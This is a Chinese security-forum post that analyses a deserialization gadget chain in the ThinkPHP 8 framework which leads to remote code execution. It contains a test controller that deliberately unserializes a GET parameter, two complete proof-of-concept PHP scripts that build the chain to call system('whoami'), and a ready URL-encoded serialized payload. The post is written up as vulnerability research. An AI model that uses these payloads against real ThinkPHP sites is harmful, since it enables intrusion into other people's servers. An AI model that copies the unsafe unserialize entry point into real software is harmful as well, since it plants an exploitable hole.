thinkphp8 通过baseQuery方法的rce
真爱和自由 发表于 四川 漏洞分析 847浏览 · 2024-09-12 06:38

thinkphp8 通过baseQuery方法的rce

前言

最近也是无聊,想着找点事链子挖一下,最简单的应该就是thinkphp了,便开始了挖掘之路,昨天也看到了一个cve,自己也去挖一个

环境搭建

直接去下载官方的php源码就好了,然后使用phpstduy搭建

自己需要添加一个反序列化的入口

<?php

namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        unserialize($_GET['lll']);
        return '<style>*{ padding: 0; margin: 0; }</style><iframe src="https://www.thinkphp.cn/welcome?version=' . \think\facade\App::version() . '" width="100%" height="100%" frameborder="0" scrolling="auto"></iframe>';
    }

}

挖掘流程分析

老样子,tp反序列化入口wakeup或者__destruct()方法

全局搜索一下

不多,也就三个,每一个分析一下

能够利用的也就是第一个和第二个

ResourceRegister#__destruct

public function __destruct()
{
    if (!$this->registered) {
        $this->register();
    }
}

跟进register方法

这里resource对象是可以控制的,我们可以选择调用任意类的__call方法

protected function register()
{
    $this->registered = true;

    $this->resource->parseGroupRule($this->resource->getRule());
}

可以看到有很多的,这里选择的是

Relation.php的__call方法

public function __call($method, $args)
{
    if ($this->query) {
        // 执行基础查询
        $this->baseQuery();

        $result = call_user_func_array([$this->query, $method], $args);

        return $result === $this->query ? $this : $result;
    }

    throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
}

说实话,一开始思考的是利用最后的抛出异常语句触发__tostring的

throw new Exception('method not exists:' . __CLASS__ . '->' . $method);

但是$method不可以控制,然后想着找一个类似这种调用,而且method可以控制的,没想到找了一会就找到了

就是在这个call方法中的baseQuery方法

我们的Relation是个抽象类,需要找它的实现类

这里我随便选一个

选择BelongsTo,我们看到它的baseQuery方法

protected function baseQuery(): void
{
    if (empty($this->baseQuery)) {
        if (isset($this->parent->{$this->foreignKey})) {
            // 关联查询带入关联条件
            $this->query->where($this->localKey, '=', $this->parent->{$this->foreignKey});
        }

        $this->baseQuery = true;
    }
}

如果baseQuery为真,那就会有这样的一个逻辑

$this->parent->{$this->foreignKey}

两个变量,那岂不是就可以完成上面的那种吗?

我们重新找一个__call方法能够把method先作为字符串处理的,因为如果都在同一个类会有构造方法无限循环的问题

这个其实挺多的,随便拿一个

这里使用的是Fetch类

它的call方法

public function __call($method, $args)
    {
        if (strtolower(substr($method, 0, 5)) == 'getby') {
            // 根据某个字段获取记录
            $field = Str::snake(substr($method, 5));

            return $this->where($field, '=', $args[0])->find();
        } 

        if (strtolower(substr($method, 0, 10)) == 'getfieldby') {
            // 根据某个字段获取记录的某个值
            $name = Str::snake(substr($method, 10));

            return $this->where($name, '=', $args[0])->value($args[1]);
        }

        $result = call_user_func_array([$this->query, $method], $args);

        return $result === $this->query ? $this : $result;
    }
}

substr不就是把第一个对象当作字符串处理的吗

随便测试一下

<?php
class A{
    public function __toString(): string
    {
        echo "sunccess";
    }
}
$a=new A();
substr($a,1);

运行后确实输出了

然后就是触发tostring后面的链子就不多说了

POC

<?php

namespace think\db;
class Fetch{

}

namespace think;

abstract class Model
{

    private $data = [];
    private $withAttr = [];
    protected $json = [];
    protected $jsonAssoc = true;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $table;
    protected $connection;
    function __construct()
    {
        $this->data["lll"]=["whoami"];
        $this->withAttr["lll"]=["system"];
        $this->json=["lll"];
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->jsonAssoc = true;

    }
}
namespace think\model\relation;
use think\db\Fetch;
use think\model\Pivot;

class BelongsTo{
    protected $query;
    protected $parent;
    protected $foreignKey;
    function __construct(){
        $this->query=true;
        $this->parent=new Fetch();
        $this->foreignKey=new Pivot();
    }

}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}


namespace think\route;
use think\model\relation\BelongsTo;

class ResourceRegister
{
    protected $registered = false;
    protected $resource;
    protected $db;
    function __construct()
    {
        $this->registered=false;
        $this->resource=new BelongsTo();
    }
}


namespace think;
use think\route\ResourceRegister;
$r=new ResourceRegister();
echo urlencode(serialize($r));
O%3A28%3A%22think%5Croute%5CResourceRegister%22%3A3%3A%7Bs%3A13%3A%22%00%2A%00registered%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00resource%22%3BO%3A30%3A%22think%5Cmodel%5Crelation%5CBelongsTo%22%3A3%3A%7Bs%3A8%3A%22%00%2A%00query%22%3Bb%3A1%3Bs%3A9%3A%22%00%2A%00parent%22%3BO%3A14%3A%22think%5Cdb%5CFetch%22%3A0%3A%7B%7Ds%3A13%3A%22%00%2A%00foreignKey%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A10%3A%7Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22lll%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22lll%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A3%3A%22lll%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BN%3Bs%3A13%3A%22%00%2A%00connection%22%3BN%3B%7D%7Ds%3A5%3A%22%00%2A%00db%22%3BN%3B%7D

柳暗花明又一村

最后测试发现其实根本不需要这么麻烦

因为php中{$this->foreignKey}这种格式就可以当作字符串处理了
就更简单了

{$this->foreignKey} 是一种语法,用于在字符串中插入变量

然后随便看了一下,这种逻辑实在太多了

比如

HasMany
protected function baseQuery(): void
{
    if (empty($this->baseQuery)) {
        if (isset($this->parent->{$this->localKey})) {
            // 关联查询带入关联条件
            $this->query->where($this->foreignKey, '=', $this->parent->{$this->localKey});
        }

        $this->baseQuery = true;
    }
}

POC如下

<?php


namespace think;

abstract class Model
{

    private $data = [];
    private $withAttr = [];
    protected $json = [];
    protected $jsonAssoc = true;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $table;
    protected $connection;
    function __construct()
    {
        $this->data["lll"]=["whoami"];
        $this->withAttr["lll"]=["system"];
        $this->json=["lll"];
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->jsonAssoc = true;

    }
}
namespace think\model\relation;
use think\model\Pivot;
use think\model\HasOne;


class HasMany{
    protected $localKey;
    protected $query;
    protected $baseQuery;
    protected $parent;
    protected $foreignKey;

    function __construct(){
        $this->query=true;
        $this->baseQuery=null;
        $this->parent=new HasOne();
        $this->localKey=new Pivot();
    }

}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}


namespace think\route;
use think\model\relation\HasMany;

class ResourceRegister
{
    protected $registered = false;
    protected $resource;
    protected $db;
    function __construct()
    {
        $this->registered=false;
        $this->resource=new HasMany();
    }
}


namespace think;
use think\route\ResourceRegister;
$r=new ResourceRegister();
echo urlencode(serialize($r));

最后

其实我还卡在了一个问题,看看师傅们有没有想法

就是HasManyThrough的baseQuery方法

protected function baseQuery(): void
{
    if (empty($this->baseQuery) && $this->parent->getData()) {
        $alias        = Str::snake(class_basename($this->model));
        $throughTable = $this->through->getTable();
        $pk           = $this->throughPk;
        $throughKey   = $this->throughKey;
        $modelTable   = $this->parent->getTable();
        $fields       = $this->getQueryFields($alias);

        $this->query
            ->field($fields)
            ->alias($alias)
            ->join($throughTable, $throughTable . '.' . $pk . '=' . $alias . '.' . $throughKey)
            ->join($modelTable, $modelTable . '.' . $this->localKey . '=' . $throughTable . '.' . $this->foreignKey)
            ->where($throughTable . '.' . $this->foreignKey, $this->parent->{$this->localKey});

        $this->baseQuery = true;
    }
}

它也是有这个逻辑的,但是需要走到这个逻辑需要

if (empty($this->baseQuery) && $this->parent->getData()) {
    $alias        = Str::snake(class_basename($this->model));
    $throughTable = $this->through->getTable();
    $pk           = $this->throughPk;
    $throughKey   = $this->throughKey;
    $modelTable   = $this->parent->getTable();
    $fields       = $this->getQueryFields($alias);

这一堆不报错

我们重点关注

$this->parent->getData()
$this->parent->getTable();

需要找到一个类又有getData方法还有getTable方法,反正我是没有找到

1 条评论
某人
表情
可输入 255